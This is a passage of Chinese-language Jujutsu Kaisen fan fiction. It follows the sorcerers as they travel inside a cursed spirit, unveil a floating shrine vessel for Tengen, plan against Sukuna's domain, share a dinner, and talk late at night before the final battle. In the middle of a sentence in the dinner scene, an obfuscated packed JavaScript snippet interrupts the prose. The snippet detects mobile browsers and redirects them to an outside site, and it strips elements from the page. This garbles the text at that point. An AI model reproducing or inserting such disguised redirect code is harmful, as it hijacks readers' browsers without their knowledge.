“我会试着联络他的。”米盖尔晃了晃手机。还是发达一点的国家好,在他的祖国,手机是最没用的东西,不受待见的地位仅次于好吃懒做的人。 日照看见了重新出现在训练场旁边的乙骨忧太,于是迅速结束了这场即兴“表演”。 “理想啊......” 乙骨忧太听着身边的人在小声争吵着。 “理想和想要做的事、必须要做的事是不同的意义,人到底是怎么发现自己的理想是什么的呢?” “......诶?是在问我吗?”因为长时间没有人回答,乙骨忧太后知后觉地意识到日照是在和自己说话。 他哼了一声表示乙骨忧太说得对。 “这个嘛......我个人觉得,理想大概就是让人觉得‘活着不仅仅是为了活着而已’的东西吧?是每天除了吃饭、睡觉、工作,在这些为了存活而行动的重复动作之外的某样事情。可能,在找到自我价值之后就能明白了吧?” 夏油杰站在走廊的尽头等着他们。 “弥山先生,”乙骨忧太轻声说,“理想不一定是难以完成的伟业哦。” 不知道身边的人究竟有没有听懂,总之日照的沉默让夏油杰连连看他,乙骨忧太怀疑自己是不是说错了什么话。他现在还是很容易陷入自我怀疑当中......不是说他对自己的力量有所怀疑,而是在人际交往方面总是没办法像和同期们相处一样自然。 “真少见呐,弥山,”夏油杰示意乙骨忧太不必太在意,“在你得出什么惊世骇俗的结论之前,有什么想法一定请你好好地说出来好吗?” 比如不要再出类似于“心情低落?揍一顿就好了”这种馊主意了。 日照抱着胳膊:“想吃来来轩的豚骨拉面了。” 夏油杰保持着微笑的表情:“正好我们可以试验一下这个大家伙的作用,来这边吧。看着眼熟吗,弥山?” 被夏油杰召唤出来的巨大咒灵只从异空间内露出了一个头,向着他们张开了巨大的嘴巴,上下牙齿之间足够允许一个人微微低头通过。 日照放下手臂,瞪大眼睛:“这是......” 乙骨忧太将头伸进咒灵张开的嘴巴里看了一眼:“里面的空间很大呢,跟里香常态下的内部空间差不多。” “像这样的咒灵重生的速度越来越快,这只是最近被收服的,在神奈川的新江之岛水族馆附近。”夏油杰跨过竖起的双排尖牙,带头走了进去。 日照低头跟着夏油杰进去了。 等到三人都进入咒灵的内部,体感上几乎没有任何“正在移动”的感觉,既不像是在乘坐一辆非常平稳的高速列车,也不像是在气流相对平稳的位置飞行的机体。 “大概还需要几个小时,要来打牌吗?”夏油杰叫出日照已经看着非常眼熟了的那个胖胖的小咒灵,乙骨忧太帮着它摆好了桌椅,得到了咒灵可怜巴巴的哼唧声。 “比预想中的要快啊,”日照试探性地用了些力气踩了踩脚下可以被称之为地面的部分,稍稍有一些弹性,类似网球场地的材质,“外面也没问题吗?” “你不是亲身体验过了吗?这只和以前的那个一模一样哦。” “诶——好地狱的说法。” “弥山,这个词不是这么用的,”夏油杰放过了有点跟不上时代的“令和大叔”,“等我们到了就能知道了。如果能绕过冥小姐和悟......” 日照笑了起来:“这样才有点意思。” 68.前夜 “虎杖,走了,七海先生还在等我们。” 钉崎野蔷薇敲了敲虎杖悠仁的宿舍门,听到了少年由远及近的脚步声和清亮的喊声:“来了来了来了!!” 宿舍门向内打开,看起来只用了五分钟就将自己收拾完毕的虎杖悠仁探出头来:“久等啦钉崎!” “让淑女久等可是大罪,走吧!”钉崎野蔷薇大步流星走在前面,身后的虎杖悠仁关门上锁一气呵成,很快追了上来。 “是普通的咒灵目击报告?等级呢?” 已经坐在车上的七海建人将任务报告单交给了他们。趁着互换修行的间隙,咒术师们还在坚持两人一组出任务,也算是为这段日子的修行成果做一个实战训练。 这次的任务是一级咒灵,但对于虎杖悠仁和钉崎野蔷薇来说已经是可以单独祓除的对象了。残酷的涩谷和死灭洄游让新一代的年轻咒术师们飞速成长着。 虎杖悠仁指着报告书上的备注:“疑似有自由咒术师的意思是?” “辅助监督在咒灵留下残秽的地方发现了式神,”七海建人开车,现在辅助监督人手比较紧张,“只是目击了一瞬,术师立刻就解除了术式,不过那个式神并没有在总监部或高专的名单上。” “这样啊。”虎杖悠仁点点头。 前段日子由联合总部在线下线上同时颁发的新规规定了如何安全、合法地获得“自由咒术师”这个头衔,在联合总部挂名的情况下,失去了一些自由,但与此同时能够得到可以称之为“官方”的援助,只要不违反咒术规定,他们的生活与过去不会有太大的区别。 问题最严重的是暗中行事的诅咒师,不遵守咒术规定、肆无忌惮地对非术师出手,原本在死灭洄游刚开始的时候行事逐渐猖狂起来,但他们仅仅自由自在地活了一个月不到就又被打回了原型。 五条悟还在,夏油杰还在,他们就注定得不到真正的自由。 顺着网线和无人机找到这些凶残的诅咒师是机械丸的副业,听说五条悟开出了不错的价码,超过某个数量之后会有奖金,所以除了干正事之外,机械丸基本都在利用庞大的情报网追踪那些诅咒师的踪迹。 之后不管上面是决定招揽愿意接下死刑执行人工作的人,还是等五条悟有时间了开着“苍”瞬移过去一人一巴掌,又或者让夏油杰的咒灵代劳,那就是后话了。 “如果那个人不是自由咒术师,在确保自身安全的情况下控制对方的行动。”七海建人推了推眼镜。他本人对能够将已经犯下错误的诅咒师规劝回正道这件事不抱希望,不过这只是他个人出于理性而进行的判断,多少掺杂了他对这个社会悲观的态度。 更适合讨论这个问题的应该是日车宽见,夏油杰应该已经找过他了,那位看起来更像是法官的律师先生也为咒术界新规的构建提供了很多建议。 “辅助监督有发现一个和你们差不多大的少年曾经在附近逗留过,”七海建人提醒他们,“万事小心。” “哦!” —— “哇,真的一点都感觉不到诶。”五条悟有点兴奋地说。 “哇,这玩意这么大的吗?”日照抬头看着五条悟搞出来的杰作。 呈现在他们眼前的是一座悬浮于半空中的御神舆,却比通常的形制大上了三倍左右。顶部是三重歇山顶的构造,每一角上都悬挂着金铃。 位于底座之下的横木,在普通的御神舆上是抬轿人可触碰的地方,而在这个巨型御神舆上却由天元施加了结界术,使其可以摆脱重力的限制,被无形之力托举到空中。 其材质其实并非木头,而是“龙骨”——一种从平安时代流传下来的鱼骨形状的咒物,这种特殊的咒物每时每刻都在缓慢地长大,如今被安置在了御神舆的底座之下。等到入海之后就不需要天元的力量让轿子浮起,因为“龙骨”排斥海水,所以御神舆可以自如地在海面上行动。 轿体使用的木材来自北海道的御神木,颜色却因为咒力的浸润而变成了黑色。描绘于轿身上的咒纹反而变成了金色,仿佛流淌着的金液。 “北海道这边一直有不少好东西,那玩意被找到的时候已经戳破一排瓶瓶罐罐了。”日照是顺着干涸的水渍找到“龙骨”这两个没什么用的好东西的。 忌库番只负责守大门,里面的东西没有意外情况是不允许随意接触的,只有在封印衰弱到一定程度、在固定的年份重新加强封印的时候会统一将它们移动到特定的结界内,进行检查、记录、清理、封印、重新入库等工作。 似乎是因为诅咒的力量逐年增大才导致“龙骨”的增长速度超过了阿依努咒术师们的预测。 当时日照拎着两条脊骨出来的时候把铃木花吓了个半死。 佐藤出事后,她接受了新建立的联合总部的调查,这两天刚刚恢复工作。 “你什么时候想好了,什么时候去都可以哦。” 五条悟对一直站在旁边没有说话的天元说道。全知术师的目光落在了庞大的御神舆上,黑金两色让它看起来华贵沉稳,又在不知不觉中泄露出一丝张扬的霸气。 它的确配得上这样的颜色。 集结了当下最强咒术师们的心血与对咒术的理解,这座御神舆将在未来数年或数十年成为天元的行宫,在远洋中围绕着这个岛国环形巡游。 天元亲自来到了北海道与这片大地的力量沟通,模仿羂索设立在海面上的可移动结界,同为结界术高手的天元完成了可移动灵场的准备。 “过去,为了让这个国家的术师们少受伤害,我选择增强结界术的力量,”与祂怀念的那个时代的自己相比已经面目全非的古老者坦言自己没能做出更好的选择,“也许当初不应该那么武断地妄做决定。” 出来走走,到处看看,祂也许能发现“进化”的方向与本质,而不是默许这千年不断增叠的诅咒与恶意在这片土地上循环往复,永远得不到解脱。 祂会在羂索与宿傩确认死亡后慢慢解除笼罩千年的诸多净界,然后操纵御神舆绕海巡游,在行走间不断扩张灵场的面积,唤醒这片大地最原本的力量,让整个国家都像北海道一样被类似的灵场覆盖。 至于结界解除后可能到来的诅咒浪潮,新一代的咒术师们已经做好了准备。 这个过程也许会持续数年,甚至数十年。 脏污的东西会被净化,只是用人类的视角来看,这个过程太过漫长。人类更喜欢能在短时间内见效的雷霆手段,纵使有值得为之付出一生的远大理想,可如果跳出思维与躯壳的限制,这时间不过瞬息。 日照走上前,摸过漆黑光滑的木材,流淌的金色在他手下闪烁着。 也许千年后的人也会觉得现在他们做出的选择是错误的。 “到时候弥山你也要来啊,别想偷懒!”五条悟指着他说,威胁道如果弥山想偷懒就让星海狠狠教训他。 日照翻了个白眼,离开了御神舆:“干掉羂索之后我就直接跑路,他又能怎样?” “口是心非的家伙,”五条悟才不搭理他这一套,“嘴上说着不打,其实心里超想打的吧?我明白的哦~” “......有的时候太敏锐也会被人讨厌的。”被戳穿的人露出了不爽的表情。 “毕竟是千年前的‘客人’,得叫他说出‘满意’的评价才算得上是尽了地主之谊。” 日照笑道:“真是傲慢的家伙。” 他们聊了一会儿别的,终于等到了九十九由基。 日照一看到她就会想起掉到山洞里满身虫子的情形,因此很难保持普通的表情,这让九十九由基误以为他很讨厌自己,但是怎么都想不到是因为什么。 如今咒术界的所有特级咒术师都聚集到了一起,九十九由基摘下挡风镜:“没想到你们居然搞出了这么大的手笔,但是不得不说是一个行得通的办法。如果你们能成功的话,虽然无法达成让人类脱离咒力的程度,状况却会好转太多。” 夏油杰说:“所以九十九小姐还请你一定要坚持自己的理想。” “安心吧,我和我的同伴们不会轻易放弃的!”九十九由基自信道。她看向天元,在日照的术式失效之后,祂向着衰老和进化的深渊一头栽倒了进去。进化已经完成,祂现在已经“无处不在”,与一草一木无异。眼前的这个实体也并非真正的天元,而是祂利用结界展现出来的虚像。 能够被称之为本体的存在已经进入御神舆当中展开的空性结界内了。 “我要说的事与宿傩的领域【伏魔御厨子】有关。”天元开口道明祂召集众人来此的目的。尽管在涩谷时宿傩并未来得及完全展开领域,但日照曾亲眼目睹了【伏魔御厨子】的雏形。 那是他第一次为自己用术式的速度这么快而感到庆幸。 “【伏魔御厨子】是开放式领域,”天元说,“不用结界隔断,直接将心象空间具现化。是极少数人才能掌握的神技。” 两面宿傩、羂索,再加上一个凑数的日照。 “宿傩是实力使然,羂索应该是得益于他对结界术的研究,我是偷换了概念。虽然大体上看起来差不多,但实际性能肯定比不上他们。”日照承认自己耍了一些小手段让他的领域能够从形态上胜过大部分封闭式领域,对付普通咒术师的领域已经绰绰有余。 可惜忧忧的术式只能支持他们每个人交换两次,一次他自己用来和忧忧互换,另一次交给了五条悟。 反正以五条悟的能力,他只要亲自体验一下就能明白个大概。不是强求五条悟能在体验中学会将【无量空处】也变成开放式的——毕竟并不是每个领域都适合以开放的形态存在——而是至少让他能想出可以应对开放式领域的方法。 “剩下的就是杰和忧太,尤其是忧太,你的咒力操作虽然比以前好多了,但还是不够细致。”五条悟指点着自己的学生,日照有些羡慕地看着乙骨忧太这个“咒力集合体”。 “九十九,”天元的声音将九十九由基的目光吸引了过去,“如果你最终还是选择利用无限制的【星之怒】......” 金发的特级咒术师阻止了祂没说完的话:“离开了你的结界,我不考虑再用那一招了。而且我觉得局面还没有难看到那个地步......理想是个很诱人的东西。” 它会让人还想看到明天。 日照和他们说明了【御厨子】中“竈”的用法。如果仅论火焰的温度,它足以称得上是流动的死炎,破坏力惊人。但它的限制同样很大,一是速度,二是效果范围。日照通过对自己施加“束缚”才得以制造了那个火海,甚至灼伤了宿傩本人。 “关于这一点,我也不太清楚。宿傩只在我设立结界之前在领域中利用过‘竈’,在那之后大概是没有对手值得他这么用。” 可惜天元对这一点也知之甚少。 “所以现在谁都不知道宿傩会怎么玩火喽?” “也许是用咒词加强威力之类的。”咒词这玩意儿可不是拿到术式之后就能知道的,除了相传术式有可能可以从家族中流传下来,多数咒术师都是在修行中慢慢领悟,算是比较私人的一种东西。 “无所谓,附加给领域之后无非是增加杀伤力,我们这边只要想着怎么避开领域的必中效果就可以了。”五条悟拍板道。 “悟,”夏油杰提醒他,“就算我们能做到用领域抵抗,你没办法要求那些孩子们用在一个月里刚学会的领域去对抗【伏魔御厨子】。” 五条悟的墨镜滑下来了一些,露出了那双六眼。他无比傲慢且笃定地说道:“没关系啊,我不会输的。再说了,不是还有你们吗?” 就算他真的输了,宿傩也不会完好无损。不过他是不会主动思考这种可能性的,他可还要好好“招待”宿傩一番呢。作为这个时代的最强者。 夏油杰愣了一下,随即笑了起来:“不愧是你啊,悟。自大狂。” 这是默认他们会在五条悟和宿傩的战斗结束前就把羂索解决掉了。日照没有反驳,不是因为他将自己从五条悟口中的“你们”里排除在外,而是在认真思考这个安排的可行性。 夏油杰心中突然有一种尘埃落定的感觉。他和五条悟的理想刚刚迈入正轨,只要通关最后的两个关底BOSS就能达成完美通关的成就,咒术师这场人生游戏也就可以名正言顺地转入下一阶段。 他们有同样渴望改革、不拘泥于腐朽旧制度的前辈和可以信任的老咒术师,也有已经开始缓慢盛开的花朵们,当年那个堆满潮湿柴火的庭院已经大不一样了。 “彼此彼此,杰,”五条悟说着,突然将话题转到了日照身上,“弥山,多照顾一下我们的学生吧?” 日照抬抬眼皮:“这话你早就说过了。” “拜托你啦~” 日照听得耳朵发腻,连忙向他甩手:“知道了知道了哇!不会伤到他们的,再说了咒术师本来就不会留下什么后遗症啊......” 五条悟伸出一根手指:“那个叫丽美的孩子。” 日照被噎了一下:“......那只能说被改造过的大脑和生来就是术师的大脑还是有区别的。” 最后他还是在五条悟和夏油杰的眼神中败下阵来,保证道:“不会做过火的。” 五条悟满意地拍手:“好了!忧太,之后的一个月你就继续跟着弥山精进咒力操作吧!” “好的!”乙骨忧太下意识地还像是个学生那样回答道,换来了五条悟笑眯眯的表情。 ......尽管和后辈们说“要成为老师的同伴”之类的大话,但还是很难在“学生”和“同伴”之间切换身份啊。乙骨忧太有些泄气。刚才的讨论他几乎插不上话,开放式领域的事虽然已经在夏油杰将薨星宫的那场战斗告知众人的时候听过了一遍,但他现在还和大部分人一样下意识觉得“那怎么可能!”,对宿傩力量的强大又有了全新的认知。 “没关系的,”夏油杰似乎是看穿了他的内心,安慰道,“忧太你就是我们的学生啊,这和‘同伴’并不是相互冲突的事情。” 九十九由基则是怀念地说:“青春啊......我的学生时代没什么美好的回忆,只记得不停地到处出任务。” 偶尔看到这些洋溢着青春气息的年轻面庞,九十九由基也会觉得心情愉悦,让人不由自主地想要守护那些笑容。 “随意剥夺年轻人的青春是不可饶恕的事啊~”五条悟对如今高专的课程设置和任务频率很满意,这也是他们花了很长时间才从总监部那些老橘子们手中扯出来的权利。 日照小声说:“原来大家都到了需要怀念青春时代的年纪了吗......” “挺好的。” 他有些震惊星海居然会说这种话,不过想想生得领域里那间独栋公寓,也就了然地明白了。 “我们叫上所有人去聚餐吧!”五条悟高举双手,像是还在高专时每次提出聚会提案那样兴奋地说。不过最喜欢捧场的灰原雄不在,他的提议只得到了日照弥山的欢呼,连星海的声音都被压了下去。 “......算了,我看看推上最近有没有什么强推的饭店。”夏油杰妥协了,掏出手机开始翻找网红餐厅打卡推荐。 结果最后还是挑了个好日子去了附近一家甘太郎,五条悟将整个分店包了下来。这家分店内部的装饰比较老,暖黄的灯光打在有些年头的木格门上,将出来聚餐的咒术师们的影子映了出来,上世纪九十年代风格的动感音乐从不知道被店老板藏在哪里了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370900|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喇叭里随机循环着。 吉野顺平有些拘谨地坐在角落里,他大概能看出来所有来聚餐的人分成了几波。 榻榻米包间里大概能坐下二十几个人,在这边包间里待着的大多数都是年轻人,一侧坐着两对双胞胎姐妹、一个胳膊上还缠着绷带的肌肉男、一个脸上有纹身的少年、一个看着像魔法少女的女孩、还有一只熊猫!?他们正在调侃一对看起来刚刚在一起没多久的小情侣。 坐在大堂里的成年人们更好懂一些。一桌坐着一对情侣,那个黑头发的女孩浑身上下都穿戴着很多亮晶晶的饰品,男的那个看上去很像个小混混,还留着奇怪的小胡子。同桌的还有一个飞机头潮男,一个丸子头青年。这一桌的氛围明显没有另一堆人火热,吉野顺平唯一眼熟的青年就坐在那个白头发的咒术师旁边。 “顺平,不用太拘谨啦,大家都很好相处的。”虎杖悠仁、钉崎野蔷薇、来栖华和他坐在榻榻米包间连通着大堂的那一侧,他的右手边还坐着一个黄头发的少年和看起来很久没睡觉的社畜大叔。 吉野顺平知道,坐在日照那一桌的几乎都是现在咒术界最顶端的战力。 “等这些事情结束了,顺平就转学来高专吧!和我们同年级的还有一个人,不过他现在......在忙别的事。” 虎杖悠仁的热情让吉野顺平有些不太适应,但他很喜欢这个氛围。他借着食物蒸腾的热气阻挡视线,偷偷瞥着日照。 甘太郎店门前的帘子被掀起,伏黑甚尔带着津美纪走了进来。 “抱歉大家,我们来晚了。”伏黑津美纪恢复得很快,在意识被万压制的那段时间的记忆保留了一部分,以最快速度理解了现状后,伏黑津美纪投入了复健当中。 “津美纪姐姐!这边!”虎杖悠仁向她招手。钉崎野蔷薇拉着来栖华混到禅院姐妹那边去了,女孩子们聊起INS上突然火起来的“地雷系”和新流行的果冻包、链条眼镜佩饰等等。 伏黑津美纪立刻抛弃了伏黑甚尔,坐到了虎杖悠仁他们旁边。 “啊,日车先生怎么也在这边?”她和甘井凛也打了招呼,日车宽见表示这边需要有一个成年人看着孩子们不要乱喝酒之类的,他看庵歌姬和家入硝子她们和冥冥准备一起喝酒,所以就过来帮其他咒术师看孩子。 伏黑甚尔用脚勾过来一张凳子,塞到了鹿紫云一和石流龙之间,颇具威胁性的肉|体让两个古代术师不约而同地在心中感叹。 物部式直接搂上日照的脖子,他曾经说要让自己的后代远离咒术界,但是现在他的孩子也觉醒了术式,这个愿望算是落空了。他指着日照的鼻子骂夏油杰连那么小的孩子都不放过,他们物部家几乎都被坑去给这俩人打工了。 灰原雄的妹妹在北海道,他和许久没见的七海建人、猪野琢真凑在一起说话,现在他已经练得比七海建人还能喝。 “喂!快去个人拦着点歌姬啊!可别又让她喝多了!”费心劳力的日下部笃也根本拦不住她们,学生们那边又闹出了点动静。虎杖悠仁从手机里翻出一张伏黑惠的相片,这是他从狗卷棘手里换来的他第一次遇到伏黑惠时候对方的负伤照,拍摄者当然是五条悟,还是当着他的面拍的。 “伏黑!以后有机会我们会带着你再来一次的!”他抽泣着把手机摆在身前,让“伏黑惠”看看满桌子的烧串还有汉堡肉巨船、火焰芝士辣炒鸡、炸鸡山和芭菲塔等等美食。 钉崎野蔷薇就差跳起来在他头上敲上一锤子:“别用这种好像他已经死了的语气说话啊笨蛋!!给我读读空气啊!!” 伏黑津美纪捂着嘴悄悄笑了起来。小惠的朋友们都是好孩子呢! 过来捧场的九十九由基坐在米盖尔旁边,两个人似乎还在聊咒术上的事,被路过听见的日下部笃也吐槽“怎么这种时候还在说工作啊”。 被从成年人桌上赶回榻榻米包间的乙骨忧太找了个空位,这里咒术师太多,咒力混乱让里香有些躁动,他只能一边道歉一边从众人身后挤到了最里面,在稍微清净一些的角落里安抚她。虽然没有了灵魂,但里香在他眼中还是里香。 这群人里最安静的大概要数吉野顺平、甘井凛和日车宽见三人组了,他们不是埋头吃饭,就是两眼放空望着前方热闹的人群。吉野顺平的视线落到了前些日子刚刚遇到粉发少年身上。 他们有相同的电影爱好,都喜欢看《蚯蚓人》,在讲冷笑话方面虎杖悠仁和吉野凪不相上下,最重要的是他们很聊得来。 “因为他是一个心思很干净的家伙吧?对吧?你也这么觉得吧?”甘井凛顺着他的目光看了过去,说道。他们的对话吸引了日车宽见。 被太阳照射到的三个人有着惊人相似的反应,他们一边喜悦、喜爱阳光的温暖驱逐了身上潮湿的气息,却同时畏惧着在艳阳下愈发凝实的影子,就像摆脱不掉的霉斑,时刻提醒着他们自己并不是值得太阳眷顾的人。 吉野顺平低下头。是啊。正因如此,他才有绝对不能告诉那个人的秘密,如果说出口,就会玷污他们的灵魂。 大厅里爆发了一阵惊呼,连不少学生都跑去围观“五条悟喝醉”这一千古奇观。 “哈哈,被他注视着的感觉就像是脱光了衣服在电视台的摄像机面前裸奔,还是自己自愿的那种感觉。”甘井凛苦笑着,不过很快他就重新振作起来。自己曾经选择随波逐流伤害他人,以后不管做出的弥补与道歉是否会被当事人接受,他都会去做的。 他的说法得到了日车宽见的注目。精英律师的职业生涯中遇到过很多人,有老人也有受到未成年人保护法保护的孩子,他们之中有人无可救药,也有人选择忏悔自己的过错。 他曾以为自己丢掉了灯,如今被他人的光芒照亮,才发现自己也已经满身脏污。 “不太敢......直视那个孩子的眼睛。” 因为害怕会玷污在【诛伏赐死】中见到的、颤抖着的、高洁的灵魂。 “不要因为恐惧惩罚就强迫自己遗忘过错,”日车宽见劝慰他们,他看得出这两个少年都曾做过错事——可是连至高无上的律法都无法制造绝对公正的理想国,所以对与错只在于他们心中各自的觉悟,“正因为人有影子,人才是人。” “说得很有哲理,律师先生。”日照在旁边鼓掌,他的突然出现让正在喝饮料的甘井凛呛咳起来,吉野顺平塞了好几张纸在他手里。 日车宽见抬头看了他一眼。这个法外狂徒除外,他已经不知道该用什么样的标准来看待日照了。 近距离保存了以后可以“威胁”五条悟的宝贵证据(成功率应该并不高,他已经猜到五条悟并不会因为几张醉酒照就任他摆布,这家伙的脸皮比原来厚了太多),日照从人群中挤了出来,跑到榻榻米包间躲清净。 “真希望他们能得到幸福啊。”日照突然说。 日车宽见不知道“他们”说的是谁。也许是虎杖悠仁,也许是五条悟,也许是夏油杰,又或者是他的兄弟,或者他认识的人。也许这是这个人在经历过只有他自己才知道的挣扎之后,能够给出的最多的温柔。 “......至少我会希望你有个好结局。”日车宽见将杯中的酒水一饮而尽,他看到日照挑起眉毛,然后捧腹大笑起来。 “你、你可真是个好人啊!!”他笑到眼角溢出了泪花,蹭掉之后的皮肤感觉到一阵凉意。 日照笑了好一会儿,才渐渐安静了下来。 “不管是Happy Ending还是死亡结局,只有打过了才知道。” 甘太郎店内的动感音乐鼓点伴随着他们心脏律动的节奏搏动着,散发着暖黄色的光在异色瞳孔中变得绚烂而迷幻。 “那肯定比想象中的更有意思吧?” 69.仪式 “明天能结束这一切吗?” “我们提前过生日吧!” “你在想什么?” “......你在想什么呢。” 星海将弥山从沙发上踹了下去,独自霸占了一楼最柔软舒适的地方。其实待在生得领域里的大部分时间都很无聊,没有电子设备、没有娱乐设施,唯一会改变的只有从电视机中传回的画面。 不过星海很少有觉得时间过得很快的时候,因为每天弥山都会不厌其烦地跑到生得领域里来和他说话。如果遇到弥山心情不好的时间,他也可能选择通过霸占沙发的行为来表达自己的不满。 吵架是他们最常用的保持自我的方法。 弥山就势躺在地板上,盯着天花板。 “遇到光士之后总会梦到以前的事。” 星海歪着头看他,弥山的视线还定在正上方,呼吸平缓,仿佛在说什么无关紧要的事情。 在梦中频繁造访的旧时光有时会让他在醒来时花上更多时间确认自己已经离开了梦境,仿佛大脑深处的某一块区域被唤醒,特意为他编织出了旧日的幻影。 “......你该睡觉了。” “你能听到镜子裂开的声音吗?”弥山侧过身,把耳朵贴到地面上。 星海起身,轻轻踢了一下他的后背,语气有些急促地说道:“说什么傻话?” 他连拉带扯将弥山带回沙发上,自己出去了。 今晚对许多人来说注定是个不眠之夜。家入硝子本来以为不会有人来到这个天台,所以在看到夜蛾正道的时候她既小小地惊讶了一下,又很快明白了对方的心情。 她的指缝间还夹着点燃过半的香烟,不过积攒了很长一段烟灰,证明它的主人只是将它点燃,然后看着它渐渐燃烧殆尽。 “我以为你已经戒烟了。”夜蛾正道没有戴墨镜,他靠在天台栏杆旁,看到那截过长的烟灰在重力的作用下掉到地上。 “哈,只是现在的状况总让我想起以前的事情。” 那两个人还没有现在这么强,经常满身狼狈地出现在她的解剖室里。 “......两个大笨蛋。” 那个时候五条悟说过,以后不会有任何人会被被抛下。家入硝子以前一直没有明白他为什么会说出那样的话,她只是被那两道义无反顾的身影吸引,然后尝试着去做了。就像他们的学弟经常说的那样——在自己力所能及的事情上尽力而为的感觉真的太棒了! “被抛下的感觉啊,”庵歌姬在某一次劝她戒烟的时候突然说起了她的同期,“作为被放弃的那一方,当然会觉得不甘心......但是更让我觉得难受的是我没有那么不甘心。比我更可怜的是自信自己会被选择、但却被放弃了的人。” 家入硝子在见到日照之后就理解了庵歌姬的意思。 “早点回去休息吧,”夜蛾正道率先离开已经有些寒意的天台,“明天还有一场硬仗要打。” “知道了,校长。”家入硝子头也不回地挥挥手。 夜蛾正道走下通往天台的楼梯,在走廊的公共休息区看到了站在自动贩卖机前的身影。 “弥山?” 日照没有买点什么零食或饮料的想法,他只是随便走走就逛到了这里。事实证明走神的人很容易会像飞蛾一样不由自主地被光亮吸引。 “是我,老师。” 夜蛾正道更正了自己的称呼:“你们难道是轮流睡觉吗?就算这样你也得按时休息,星海。你们......抱歉,一不小心就变得唠叨起来了。” 他主动坐到长椅上,开口满是怀念的意味:“时间过得真快,一眨眼你们都快到我刚刚当上教师时的年纪了。” 日照在长椅的另一端坐了下来。 “结果还是要把这些事情托付给你们年轻人去解决,”深夜总爱放大人感性的那一面,夜蛾正道不知自己是不是受到了家入硝子的影响,明明不应该在决战前的最后一晚再说这些话的,“我们却没办法提供更多的帮助......” “别这么说啊,老师。听起来像是在说临终遗言一样,太不吉利了。” 日照的眼睛转动了一下,突然兀自笑了出来。 “你能在这里看到我们,不正说明老师你们已经让这个咒术界做出足够多的变化了吗?” 夜蛾正道的目光一直盯着双脚之间的地面,握住的双手攥紧了一些。 “至少,”日照的声音从旁侧缓缓传来,“我觉得现在还不错。” “哈哈,”夜蛾正道长出一口气,“你们第一次去我家就发现熊猫了吧?我现在的心情居然和那时差不多。” 日照诧异地惊叹:“夜蛾老师你......不能因为弥山的术式带个天平就觉得我们有资格评判这种事情啊。” “倒不是你说的这个理由,星海。是你们活得太纯粹,所以才会让我有‘被允许了’的感觉。” 在一个缺乏善恶观的咒术师眼中,曾让夜蛾正道辗转反侧的“禁忌之术”只是一个将咒术傀儡学发挥到了极致的精妙术法,无关善恶,无关是否有违人性,变得单纯而可敬。 得到这样的认可是一件很可怕的事情。因为这样的力量就像是纯白色的颜料,它可以轻易染上任何颜色,由这股力量催生出的野心会推动术师倒向哪一方,全看术师本人如何选择。 “这还真是......意料之外的评价。我们也是会变的,老师。” “你现在还喜欢做料理吗?”夜蛾正道问。 “......” 沉默持续了很久。最后,夜蛾正道等到了他的回答。 “一直都很喜欢。” “是吗,这样就好。” —— 大厅里聚集了很多人。 二层圆厅的拐角处,乙骨忧太摸着召唤里香的戒指,不太确定地问道:“真的没问题吗?” 日照笃定地说:“你不是亲眼看到过了吗?我拿走虎杖的【御厨子】的时候你在现场的。” “......你真的很厉害啊,弥山先生。”乙骨忧太召唤出了里香,纯白的式神向日照伸出手。 日照轻轻握了一下,说道:“毕竟都过去快两个月了,努努力还是可以适应的。” 那可不是“努努力”这么简单就能做到的事啊!乙骨忧太心想。 看到日照真的面不改色之后,他也稍微放心了一些。弥山先生虽然总是天马行空,但在咒术上向来说到做到,应该不用太过担心? “忧太,弥山,你们怎么还在这里?大家都在下面等着呢吧?”夏油杰的声音从后侧传来,紧随其后的还有京都校的校长乐岩寺嘉伸、手持神乐铃的庵歌姬、不停擦汗的伊地知洁高,当然还有今天最重要的人物—— “——为什么要穿成这个样子啊?和伏黑甚尔也太像了吧!?” 五条悟的打扮让日照想起了在五条本家的日子,而且为什么约架还要特意穿外套?这种东西不都是打着打着就没了的吗? “先把你自己的棒球外套脱了再说吧......”夏油杰揪着他的外套指指点点。 “这可是策略啊弥山!”五条悟抖了抖略显宽大的羽织外套,里面是黑色的紧身上衣和同样宽大的练功裤:“可以遮住手脚的动作,而且你不觉得这样很帅吗?” 日照低头看了看自己的裤子,怀疑地说:“真的有用吗?” 他回想了一下,然后把目光定在了满脸写着纯良的乙骨忧太身上。 “诶?怎么了?” 日照沉重地说:“乙骨,你可千万不能倒戈到他们那边啊!拒绝穿肥裤子的只剩我们俩了啊!” 连九十九由基都换成了类似的工装裤。 “应该没关系的,毕竟还有真希同学也穿......不,现在不是说这个的时候吧!?”乙骨忧太差点就被他们带跑了,大家都还在楼下等着他们呢! 不过其实他认为五条老师可能真的是因为觉得这样穿很帅......虽然五条老师穿什么都很帅就是了。 “你们啊,”夏油杰扶额,经过这样一打岔倒是驱散了不少严肃的气氛,刚才的五条悟可是罕见的冷着脸,“走吧。” 日照只在交流会上见过乐岩寺嘉伸,但那都是十多年前的事了。老爷子抱着他的电吉他,眉毛已经完全将眼睛遮住了,看来衰老让他的皮肤松弛了太多,这样真的不会影响视线吗? 至于伊地知洁高......是那个在转移天元的时候布置结界的辅助监督。能在这个时候被五条悟选中,说明他深受信赖吧? “歌姬,你这套衣服感觉和以前的不太一样啊。”他和落在队伍最后面的庵歌姬悄悄说道。 “当然啊!这套衣服也算是咒具,和这个神乐铃一样是我们家代代相传的东西,”庵歌姬整理了一下有些年头的衣服,它虽然制作的年代比较久远,可做工和质量并不逊色于现代工艺,甚至因为咒具化而拥有了其他的力量,“你给我有点紧张感啊!” 他们下了楼,日照能听到从一层大厅传来的声音骤然止息,无数道目光直勾勾地射了过来。 “我超紧张的,”他小声说,“前所未有的。” 庵歌姬瞥了他一眼,不知道信没信。 日下部笃也被挤到了人群的最前面,五条悟已经走到了众人面前。 ......这种时候事情最难办了,他要说点什么吗?加油?别输了?不过,五条会输?事到临头才觉得简直无法想象啊,做预案的时候他们到底有什么底气会说出那些话来着...... 